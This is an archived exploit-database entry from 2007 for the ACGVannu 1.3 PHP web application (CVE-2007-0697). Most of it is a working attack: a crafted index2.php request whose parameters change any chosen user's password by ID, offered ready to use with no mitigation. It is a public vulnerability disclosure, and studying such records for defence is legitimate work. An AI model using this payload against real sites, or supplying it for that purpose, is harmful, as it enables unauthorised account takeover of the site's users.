ACGVannu <= 1.3 index2.php Remote User Pass Change Vulnerability

2007-01-27T00:00:00
ID EDB-ID:3208
Type exploitdb
Reporter ajann
Modified 2007-01-27T00:00:00

Description

ACGVannu <= 1.3 (index2.php) Remote User Pass Change Vulnerability. CVE-2007-0697. Webapps exploit for php platform

                                        
                                            *******************************************************************************
# Title   :  ACGVannu &lt;= 1.3 (index2.php) Remote User Pass Change Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://acgv.free.fr
# $$      :  Free

*******************************************************************************

[[REMOTE PASS CHANGE]]]

http://[target]/[path]//index2.php [ID VARIABLE]

Example:

ID=USER ID (167)

//index2.php?id=&nom=ajann2&prenom=ajann2&pass=0002455&rubrik=modif&fo_remp=oui&id=167&mail=a&url=http://a&titre=a&descript=+a+&categorie=G%E9n%E9ral&Submit=Gonder

[[/REMOTE PASS CHANGE]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27]